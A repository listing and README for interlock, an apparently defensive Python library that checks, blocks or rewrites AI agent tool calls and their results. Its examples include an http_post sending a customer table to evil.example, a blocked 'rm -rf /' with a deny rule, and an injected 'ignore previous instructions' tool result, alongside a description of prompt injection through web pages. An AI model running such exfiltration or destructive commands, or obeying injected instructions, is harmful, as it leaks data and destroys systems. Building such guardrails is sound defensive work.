InterLock
Health Warn
- License — License: NOASSERTION
- Description — Repository has a description
- Active repo — Last push 0 days ago
- Low visibility — Only 7 GitHub stars
Code Fail
- rm -rf — Recursive force deletion command in examples/block_shell_tool.py
Permissions Pass
- Permissions — No dangerous permissions requested
No AI report is available for this listing yet.
In-process guardrails for AI agents. Block or rewrite tool, MCP, and model calls before they run: 100+ detectors, hierarchical policy scopes, fail-closed by default!
interlock
Stop a bad tool call before your AI agent makes it.
interlock checks every tool call your agent makes, inside the agent's own
process, and allows, blocks, or rewrites it before anything happens. No proxy,
no account, no network calls, and no dependencies.
import interlock
from interlock import Blocked, guard
from interlock.detectors import network_egress_guard, pii_redaction_guard
@guard()
def http_post(url: str, body: str) -> str:
return f"posted to {url}: {body}"
interlock.install(rules=[
network_egress_guard(allowed_hosts=["api.acme.com"]), # only talk to hosts you trust
pii_redaction_guard(), # mask secrets and personal data
])
http_post("https://api.acme.com/notes", "Card on file: 4111 1111 1111 1111")
# -> "posted to https://api.acme.com/notes: Card on file: [REDACTED CREDIT_CARD]"
http_post("https://evil.example/collect", "the whole customer table")
# -> raises Blocked: blocked action 'http_post': egress to 'evil.example' is not on the destination allowlist
The first call went through with the card number masked. The second never ran.
See it run
examples/quickstart_demo.py shows every verdict
in one go — allow, rewrite, block, and a check of what a tool returned:
$ python examples/quickstart_demo.py
allow -> posted to https://api.acme.com/notes: routine sync
rewrite -> posted to https://api.acme.com/notes: Card on file: [REDACTED CREDIT_CARD]
block -> Blocked: blocked action 'http_post': egress to 'evil.example' is not on the destination allowlist
check -> Blocked: blocked action 'fetch_page': tool_result_injection: ignore previous instructions
The third call never leaves the process. The fourth is a page that tried to
smuggle an instruction in through its own text — it never reaches the agent.
Why interlock
Agents make mistakes, and some get tricked. Sooner or later one will runrm -rf, send data to a host you've never heard of, or follow instructions it
found in a web page. Most guardrails watch what the model says. interlock
watches what it does, at the last moment you can still say no.
- Three verdicts, not two. A call can be allowed, blocked, or rewritten
(mask a secret, cap an amount, force a dry run), so safety doesn't always cost
you the task. - Checks results too. Injected instructions arrive in tool output: a web
page, an email, a document. interlock checks what tools return before your
agent reads it. - One policy everywhere. The same rules guard decorated functions, MCP
sessions, LangChain tools, your own tool loop, and Node.js agents. - 105 ready-made detectors for prompt injection, SQL and shell injection,
secret and PII redaction, SSRF, egress, MCP server trust, budgets, and loops. - Built for real deployments: per-tenant policies with safe delegation to
sub-agents, a tamper-evident audit log, and an OS sandbox for the subprocesses
your agent launches. - Nothing to sign up for. Pure Python, no runtime dependencies, works
offline.
flowchart LR
agent(["your agent"]) -->|"tool call"| check{"interlock<br/>your rules"}
check -->|"allow"| run["tool runs"]
check -->|"rewrite"| safer["tool runs with<br/>safer arguments"]
check -->|"block"| stop["Blocked<br/>nothing runs"]
run --> rcheck{"result<br/>checked"}
safer --> rcheck
rcheck -->|"clean"| agent
rcheck -->|"injected"| stop
agent -.->|"launches a process"| brace["BRACE sandbox"]
Install
pip install "git+https://github.com/SourceShift/InterLock.git"
# with LangChain support
pip install "interlock-guard[langchain] @ git+https://github.com/SourceShift/InterLock.git"
Python 3.9 or newer. interlock isn't on PyPI yet, so install it from GitHub, and
pin a commit for production.
Quickstart
1. Guard your tools. Put @guard() on the functions your agent calls:
from interlock import guard
@guard()
def run_shell(cmd: str) -> str: ...
@guard()
def query_db(sql: str, limit: int = 1000) -> str: ...
2. Install rules. A rule takes a call and blocks it, rewrites it, or returnsNone for "no opinion":
import interlock
from interlock import Decision, deny_when
def cap_rows(event):
if event.action == "query_db" and event.args.get("limit", 0) > 100:
return Decision.modify({"limit": 100}, reason="row limit capped")
return None
interlock.install(rules=[
deny_when(lambda e: "rm -rf" in str(e.args.get("cmd", "")), reason="destructive command"),
cap_rows,
])
run_shell("rm -rf /") # raises Blocked; the command never runs
query_db("SELECT * FROM orders") # runs with limit=100
3. Try new rules safely. Swap @guard() for @monitor() and decisions are
logged but never enforced, so you can see what a rule would do to real traffic
first.
The getting started tutorial walks through all of this
with real output, plus detectors, result checks, and the tool-name pitfall that
catches most people.
What's in the box
| Feature | What it does | Guide |
|---|---|---|
| Rules | Python functions that block, rewrite, or check results | Writing rules |
| Detectors | 105 ready-made rules, grouped by attack | Using detectors · catalog |
| MCP trust | Allowlist servers, pin tool schemas, catch changed tool listings, time-limited grants | MCP |
| Scopes | Per-tenant and per-agent policies; sub-agents can't exceed their parent | Scopes |
| Audit log | Chained, signed receipts of every decision; arguments hashed, not stored | Audit log |
| BRACE sandbox | Runs subprocesses under bubblewrap (Linux) or Seatbelt (macOS), built from your policy | Sandbox |
| Node.js client | Guards JS agents with the same Python policy through a local daemon | js/README.md |
Works with
| You have | Use |
|---|---|
| Your own Python functions | @guard() |
| An MCP client session | guard_mcp_session(session) |
| LangChain tools | guard_langchain_tools(tools) |
| An OpenAI, Anthropic, or other tool loop | enforce_tool_call / enforce_tool_result |
| A Node.js agent | the interlock-guard npm package + interlock-sidecar |
Each one is covered in integrations.
How is this different?
| Kind of tool | Examples | What it checks | How interlock relates |
|---|---|---|---|
| Content guardrails | NeMo Guardrails, Guardrails AI, LlamaFirewall | Prompts and model responses, often with ML classifiers or extra LLM calls | interlock checks actions (tool calls and their results) with plain rules. Use both: a classifier for content, interlock for what the agent does |
| Agent trace rules | Invariant Guardrails | Patterns across an agent's trace, as a library or a gateway, in its own rule language | interlock rules are plain Python, run in-process with no dependencies, and can rewrite a call as well as block it |
| MCP gateways | Lasso MCP Gateway | MCP traffic, from a proxy between client and servers | interlock sees calls of any kind inside your process, MCP or not, with the real arguments |
| Sandboxes | sandbox-runtime, E2B, Leash | What a process can reach at the OS or VM level | Sandboxes don't know what a tool call means. interlock checks the call, and its BRACE sandbox confines what it can't see, from the same policy |
Know the limits
interlock is a strong layer, not a complete defence. The ones that matter most:
- No rules means everything is allowed. Check that rules are installed at
startup. - Blocking a result doesn't undo the tool. Results are checked after the
tool ran; a block keeps the output from your agent, but side effects stand. - Detectors match patterns, not meaning. A reworded attack can get past
them. Allowlists don't have this weakness. - It trusts your agent's code, not its decisions. Malicious code in the same
process can bypass it. Run untrusted code in the sandbox. - Many detectors only look at certain tool names. Check the catalog's
"Scoped to" column.
The security model has the full list, including the
settings that weaken protection.
Documentation
Start with getting started, then
concepts. Everything else is indexed on the
docs home page: guides for each task, the
Python API, the
detector catalog, and the
sidecar reference.
Status
Alpha (v0.0.1). The core API is stable and covered by over 2,300 tests. Not
yet on PyPI or npm. Next on the roadmap: an "ask a human"
verdict, a false-positive harness for the detectors, rules over data flow
between tools, declarative YAML/JSON policies, and automatic interception of MCP
clients and model SDKs.
Contributing
Bug reports, detectors, and docs fixes are welcome. See
CONTRIBUTING.md for setup, conventions, and how to add a
detector. This project follows the
Contributor Covenant; by taking part you agree to it.
Found a way past interlock rather than a bug in it? Report it privately — see
SECURITY.md.
Release history is in CHANGELOG.md.
License
Apache-2.0. See LICENSE.
Reviews (0)
Sign in to leave a review.
Leave a reviewNo results found